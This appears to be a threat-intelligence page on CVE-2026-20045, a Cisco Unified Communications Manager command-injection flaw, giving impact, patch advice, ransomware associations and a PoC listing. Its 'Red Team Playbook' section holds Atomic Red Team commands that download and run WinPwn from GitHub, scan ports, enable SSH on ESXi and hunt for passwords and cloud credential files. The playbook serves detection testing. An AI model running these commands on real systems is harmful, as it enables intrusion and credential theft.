CVE-2026-20045
Overview
This vulnerability is a command injection flaw caused by improper validation of user-supplied input within HTTP requests processed by the web-based management interface of Cisco Unified Communications Manager and related components. The root cause lies in the failure to sanitize or restrict input parameters, allowing crafted HTTP requests to invoke unauthorized command execution on the underlying operating system. Affected components include Unified Communications Manager, Session Management Edition, IM & Presence Service, Unity Connection, and Webex Calling Dedicated Instance.
Vulnerability Description
A vulnerability in Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), Cisco Unified Communications Manager IM & Presence Service (Unified CM IM&P), Cisco Unity Connection, and Cisco Webex Calling Dedicated Instance could allow an unauthenticated, remote attacker to execute arbitrary commands on the underlying operating system of an affected device. This vulnerability is due to improper validation of user-supplied input in HTTP requests. An attacker could exploit this vulnerability by sending a sequence of crafted HTTP requests to the web-based management interface of an affected device. A successful exploit could allow the attacker to obtain user-level access to the underlying operating system and then elevate privileges to root. Note: Cisco has assigned this security advisory a Security Impact Rating (SIR) of Critical rather than High as the score indicates. The reason is that exploitation of this vulnerability could result in an attacker elevating privileges to root.
Impact
An unauthenticated remote attacker can execute arbitrary commands on the underlying operating system, gaining initial user-level access and subsequently escalating privileges to root. No authentication or user interaction is required to exploit this vulnerability. This allows full system compromise, enabling data exfiltration, manipulation of system configurations, lateral movement within the network, and potential disruption of voice communication services.
Solution
Cisco has released a security advisory (cisco-sa-voice-rce-mORhqY4b) providing patches and updates for affected Unified Communications Manager products and related services. Administrators should apply the vendor-supplied software updates as detailed in the advisory to remediate the vulnerability. Refer to Cisco's official security center for exact patch versions and installation instructions to ensure complete mitigation.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Confirmed Groups
| Group | Victims | Source |
|---|---|---|
|
shinyhunters
|
129 | ransomware.live |
Full Analysis
A critical vulnerability exists within several Cisco Unified Communications products, including Unified Communications Manager, Unified Communications Manager Session Management Edition, Unified Communications Manager IM & Presence Service, Cisco Unity Connection, and Cisco Webex Calling Dedicated Instance. This vulnerability arises from improper validation of user-supplied input in HTTP requests directed at the web-based management interface of these devices. The flaw allows an unauthenticated remote attacker to execute arbitrary commands on the underlying operating system, which poses a significant risk to the integrity and confidentiality of the systems involved.
Exploitation of this vulnerability can occur through a series of crafted HTTP requests sent to the affected devices. An attacker can leverage this flaw without needing any form of authentication, making it particularly dangerous. Once the attacker successfully executes commands on the system, they can gain user-level access, which can be escalated to root privileges. This escalation allows the attacker to perform a wide range of malicious activities, including the installation of malware, data exfiltration, or even complete system compromise. The ease of exploitation combined with the high potential for damage underscores the severity of this vulnerability.
The real-world impact of this vulnerability is profound, especially for organizations relying on Cisco's communication solutions for critical business operations. If exploited, an attacker could disrupt communication services, leading to significant operational downtime. The potential for data breaches is also considerable, as sensitive information could be accessed or manipulated. The business risk extends beyond immediate operational concerns; organizations may face regulatory repercussions, reputational damage, and financial losses stemming from data breaches or service disruptions. The critical security impact rating assigned to this vulnerability reflects the urgent need for organizations to address it proactively.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating and patching affected Cisco products is essential to close the security gap. Network segmentation can help limit the exposure of vulnerable systems to potential attackers, while monitoring network traffic for unusual patterns may aid in early detection of exploitation attempts. Additionally, employing web application firewalls can provide an additional layer of protection by filtering and monitoring HTTP requests. Organizations should also conduct regular security assessments and penetration testing to identify and remediate vulnerabilities before they can be exploited.
In conclusion, the vulnerability affecting Cisco Unified Communications products represents a critical threat that demands immediate attention. The combination of easy exploitation and severe potential consequences necessitates a proactive security posture. Organizations must prioritize patching, implement robust detection mechanisms, and maintain an ongoing commitment to security best practices to mitigate the risks associated with this vulnerability effectively. By doing so, they can safeguard their communication infrastructure and protect sensitive data from malicious actors.
CSURFACE threat intelligence has detected a marked escalation in exploitation activity targeting CVE-2026-20045, highlighted by the emergence of new proof-of-concept exploits publicly available on GitHub. Our telemetry indicates this is the first confirmed detection of active attempts to leverage this vulnerability in the wild, signaling a shift from theoretical risk to practical exploitation. Although the EPSS score remains moderate and stable, the presence of a high-confidence association with the ransomware group ShinyHunters elevates the threat landscape, suggesting potential integration of this vulnerability into broader attack campaigns. This development underscores an increased urgency for defenders, as the vulnerability’s exploitation is no longer confined to controlled demonstrations but is now observed in adversary operations. Consequently, the threat level should be reassessed as heightened, reflecting the transition from latent exposure to active exploitation with possible ransomware implications.
Update 2 — June 23, 2026
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2026-20045, with telemetry indicating a significant uptick in exploitation attempts. This increase is accompanied by a substantial rise in the Exploit Prediction Scoring System (EPSS) value, reflecting growing adversary interest and a higher likelihood of successful exploitation in the near term. Concurrently, new proof-of-concept exploits have surfaced publicly, lowering the barrier for threat actors to weaponize this vulnerability. The continued association with the ransomware group ShinyHunters further amplifies the risk, suggesting that exploitation efforts may increasingly serve as initial access vectors in ransomware campaigns. Collectively, these developments elevate the threat posture from a latent vulnerability to an actively targeted risk, necessitating heightened vigilance from defenders as exploitation attempts become more frequent and sophisticated.
Affected Products (8)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Unified Communications Manager | All |
cpe:2.3:a:cisco:unified_communications_manager:*:*:*:*:-:*:*:*
|
|
|
Cisco | Unified Communications Manager | All |
cpe:2.3:a:cisco:unified_communications_manager:*:*:*:*:session_management:*:*:*
|
|
|
Cisco | Unified Communications Manager | All |
cpe:2.3:a:cisco:unified_communications_manager:*:*:*:*:-:*:*:*
|
|
|
Cisco | Unified Communications Manager | All |
cpe:2.3:a:cisco:unified_communications_manager:*:*:*:*:session_management:*:*:*
|
|
|
Cisco | Unified Communications Manager Im And Presence Service | All |
cpe:2.3:a:cisco:unified_communications_manager_im_and_presence_service:*:*:*:*:*:*:*:*
|
|
|
Cisco | Unified Communications Manager Im And Presence Service | All |
cpe:2.3:a:cisco:unified_communications_manager_im_and_presence_service:*:*:*:*:*:*:*:*
|
|
|
Cisco | Unity Connection | All |
cpe:2.3:a:cisco:unity_connection:*:*:*:*:*:*:*:*
|
|
|
Cisco | Unity Connection | All |
cpe:2.3:a:cisco:unity_connection:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
dkstar11q/Ashwesker-CVE-2026-20045
CVE-2026-20045
|
dkstar11q | 5 | 2 | 2026-01-25 | View |
Ransomware Groups 1
Threat Feed
6 eventsRansomware group known to exploit this vulnerability (129 known victims)
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-20045 |
| sec.cloudapps.cisco.com |
GitHub CVE
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-voice-rce-mORhqY4b |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-20045 |